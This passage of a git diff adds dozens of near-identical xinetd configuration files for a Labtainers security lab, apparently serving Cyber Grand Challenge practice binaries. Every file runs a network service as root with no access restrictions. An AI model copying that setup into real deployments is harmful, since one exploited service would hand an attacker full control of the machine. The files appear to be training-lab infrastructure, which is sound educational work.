b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cromulence_all_service @@ -0,0 +1,11 @@ +service cromulence_all_service +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Cromulence_All_Service + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cttp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cttp new file mode 100644 index 000000000..c8de1f38a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cttp @@ -0,0 +1,11 @@ +service cttp +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/CTTP + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cyber_blogger b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cyber_blogger new file mode 100644 index 000000000..f7dfd4672 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cyber_blogger @@ -0,0 +1,11 @@ +service cyber_blogger +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/cyber_blogger + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/dfars_sample_service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/dfars_sample_service new file mode 100644 index 000000000..9d1c21129 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/dfars_sample_service @@ -0,0 +1,11 @@ +service dfars_sample_service +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/DFARS_Sample_Service + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/diary_parser b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/diary_parser new file mode 100644 index 000000000..3565cb67d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/diary_parser @@ -0,0 +1,11 @@ +service diary_parser +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Diary_Parser + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/differ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/differ new file mode 100644 index 000000000..8e5362f8a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/differ @@ -0,0 +1,11 @@ +service differ +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Differ + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/diophantine_password_wallet b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/diophantine_password_wallet new file mode 100644 index 000000000..56c0ecec4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/diophantine_password_wallet @@ -0,0 +1,11 @@ +service diophantine_password_wallet +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Diophantine_Password_Wallet + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/dive_logger b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/dive_logger new file mode 100644 index 000000000..6f13f2df1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/dive_logger @@ -0,0 +1,11 @@ +service dive_logger +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Dive_Logger + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/divelogger2 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/divelogger2 new file mode 100644 index 000000000..e682e6dfc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/divelogger2 @@ -0,0 +1,11 @@ +service divelogger2 +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Divelogger2 + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/document_rendering_engine b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/document_rendering_engine new file mode 100644 index 000000000..c73f02a34 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/document_rendering_engine @@ -0,0 +1,11 @@ +service document_rendering_engine +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Document_Rendering_Engine + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/dungeon_master b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/dungeon_master new file mode 100644 index 000000000..6ce0021c0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/dungeon_master @@ -0,0 +1,11 @@ +service dungeon_master +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Dungeon_Master + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/ecm_tcm_simulator b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/ecm_tcm_simulator new file mode 100644 index 000000000..f8f5ce9fa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/ecm_tcm_simulator @@ -0,0 +1,11 @@ +service ecm_tcm_simulator +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/ECM_TCM_Simulator + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/eddy b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/eddy new file mode 100644 index 000000000..0133a2d1c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/eddy @@ -0,0 +1,11 @@ +service eddy +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Eddy + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/electronictrading b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/electronictrading new file mode 100644 index 000000000..782be0f21 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/electronictrading @@ -0,0 +1,11 @@ +service electronictrading +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/electronictrading + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/email_system_2 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/email_system_2 new file mode 100644 index 000000000..2a795bb1c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/email_system_2 @@ -0,0 +1,11 @@ +service email_system_2 +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Email_System_2 + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/enslavednode_chat b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/enslavednode_chat new file mode 100644 index 000000000..0661ce498 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/enslavednode_chat @@ -0,0 +1,11 @@ +service enslavednode_chat +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Enslavednode_chat + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/estadio b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/estadio new file mode 100644 index 000000000..c289e0aeb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/estadio @@ -0,0 +1,11 @@ +service estadio +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Estadio + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/eternalpass b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/eternalpass new file mode 100644 index 000000000..d57739117 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/eternalpass @@ -0,0 +1,11 @@ +service eternalpass +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/EternalPass + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/expression_database b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/expression_database new file mode 100644 index 000000000..828f1bd0b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/expression_database @@ -0,0 +1,11 @@ +service expression_database +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/expression_database + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/fablesreport b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/fablesreport new file mode 100644 index 000000000..b6544b3f3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/fablesreport @@ -0,0 +1,11 @@ +service fablesreport +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/FablesReport + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/facemag b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/facemag new file mode 100644 index 000000000..0f9fbc78a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/facemag @@ -0,0 +1,11 @@ +service facemag +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/FaceMag + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/facilities_access_control_system b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/facilities_access_control_system new file mode 100644 index 000000000..f4e062252 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/facilities_access_control_system @@ -0,0 +1,11 @@ +service facilities_access_control_system +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Facilities_Access_Control_System + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/failav b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/failav new file mode 100644 index 000000000..01c73323f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/failav @@ -0,0 +1,11 @@ +service failav +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/FailAV + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/fastlane b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/fastlane new file mode 100644 index 000000000..071fbd156 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/fastlane @@ -0,0 +1,11 @@ +service fastlane +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/FASTLANE + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/filesys b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/filesys new file mode 100644 index 000000000..a1c9bece6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/filesys @@ -0,0 +1,11 @@ +service filesys +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/FileSys + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/filesystem_command_shell b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/filesystem_command_shell new file mode 100644 index 000000000..7a9131045 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/filesystem_command_shell @@ -0,0 +1,11 @@ +service filesystem_command_shell +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Filesystem_Command_Shell + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/finicky_file_folder b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/finicky_file_folder new file mode 100644 index 000000000..a4329568b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/finicky_file_folder @@ -0,0 +1,11 @@ +service finicky_file_folder +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Finicky_File_Folder + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/fishyxml b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/fishyxml new file mode 100644 index 000000000..f48553fc6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/fishyxml @@ -0,0 +1,11 @@ +service fishyxml +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/FISHYXML + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/flash_file_system b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/flash_file_system new file mode 100644 index 000000000..77c967e1c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/flash_file_system @@ -0,0 +1,11 @@ +service flash_file_system +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Flash_File_System + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/flight_routes b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/flight_routes new file mode 100644 index 000000000..99d6acbb0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/flight_routes @@ -0,0 +1,11 @@ +service flight_routes +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Flight_Routes + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/fortress b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/fortress new file mode 100644 index 000000000..76de8bc0d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/fortress @@ -0,0 +1,11 @@ +service fortress +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Fortress + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/fsk_bbs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/fsk_bbs new file mode 100644 index 000000000..3d2bb86c2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/fsk_bbs @@ -0,0 +1,11 @@ +service fsk_bbs +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/FSK_BBS + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/fsk_messaging_service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/fsk_messaging_service new file mode 100644 index 000000000..1e012e1c1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/fsk_messaging_service @@ -0,0 +1,11 @@ +service fsk_messaging_service +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/FSK_Messaging_Service + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/fun b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/fun new file mode 100644 index 000000000..b9028f63a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/fun @@ -0,0 +1,11 @@ +service fun +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/FUN + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/game_night b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/game_night new file mode 100644 index 000000000..de401d809 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/game_night @@ -0,0 +1,11 @@ +service game_night +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Game_Night + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/glue b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/glue new file mode 100644 index 000000000..67e1fd3d3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/glue @@ -0,0 +1,11 @@ +service glue +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Glue + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/gps_tracker b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/gps_tracker new file mode 100644 index 000000000..7db1c1d33 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/gps_tracker @@ -0,0 +1,11 @@ +service gps_tracker +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/GPS_Tracker + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/greatview b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/greatview new file mode 100644 index 000000000..d59a6f80f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/greatview @@ -0,0 +1,11 @@ +service greatview +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/GreatView + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/greeter b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/greeter new file mode 100644 index 000000000..e57a84284 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/greeter @@ -0,0 +1,11 @@ +service greeter +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/greeter + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/greymatter b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/greymatter new file mode 100644 index 000000000..49f4d8854 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/greymatter @@ -0,0 +1,11 @@ +service greymatter +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/GREYMATTER + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/gridder b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/gridder new file mode 100644 index 000000000..f3415e173 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/gridder @@ -0,0 +1,11 @@ +service gridder +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Gridder + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/griswold b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/griswold new file mode 100644 index 000000000..950e4e0d1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/griswold @@ -0,0 +1,11 @@ +service griswold +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Griswold + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/grit b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/grit new file mode 100644 index 000000000..77f0be626 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/grit @@ -0,0 +1,11 @@ +service grit +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Grit + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/h20flowinc b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/h20flowinc new file mode 100644 index 000000000..35a313204 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/h20flowinc @@ -0,0 +1,11 @@ +service h20flowinc +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/H20FlowInc + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/hackman b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/hackman new file mode 100644 index 000000000..fdc4c61b4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/hackman @@ -0,0 +1,11 @@ +service hackman +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/HackMan + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/hawaii_sets b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/hawaii_sets new file mode 100644 index 000000000..25232299a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/hawaii_sets @@ -0,0 +1,11 @@ +service hawaii_sets +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/hawaii_sets + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/headscratch b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/headscratch new file mode 100644 index 000000000..9a5b549c0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/headscratch @@ -0,0 +1,11 @@ +service headscratch +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Headscratch + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/heartthrob b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/heartthrob new file mode 100644 index 000000000..72dcca251 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/heartthrob @@ -0,0 +1,11 @@ +service heartthrob +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/HeartThrob + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/highcoo b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/highcoo new file mode 100644 index 000000000..b761585ab --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/highcoo @@ -0,0 +1,11 @@ +service highcoo +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/HIGHCOO + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/highfrequencytradingalgo b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/highfrequencytradingalgo new file mode 100644 index 000000000..7da7e3879 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/highfrequencytradingalgo @@ -0,0 +1,11 @@ +service highfrequencytradingalgo +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/HighFrequencyTradingAlgo + log_on_failure += USERID + 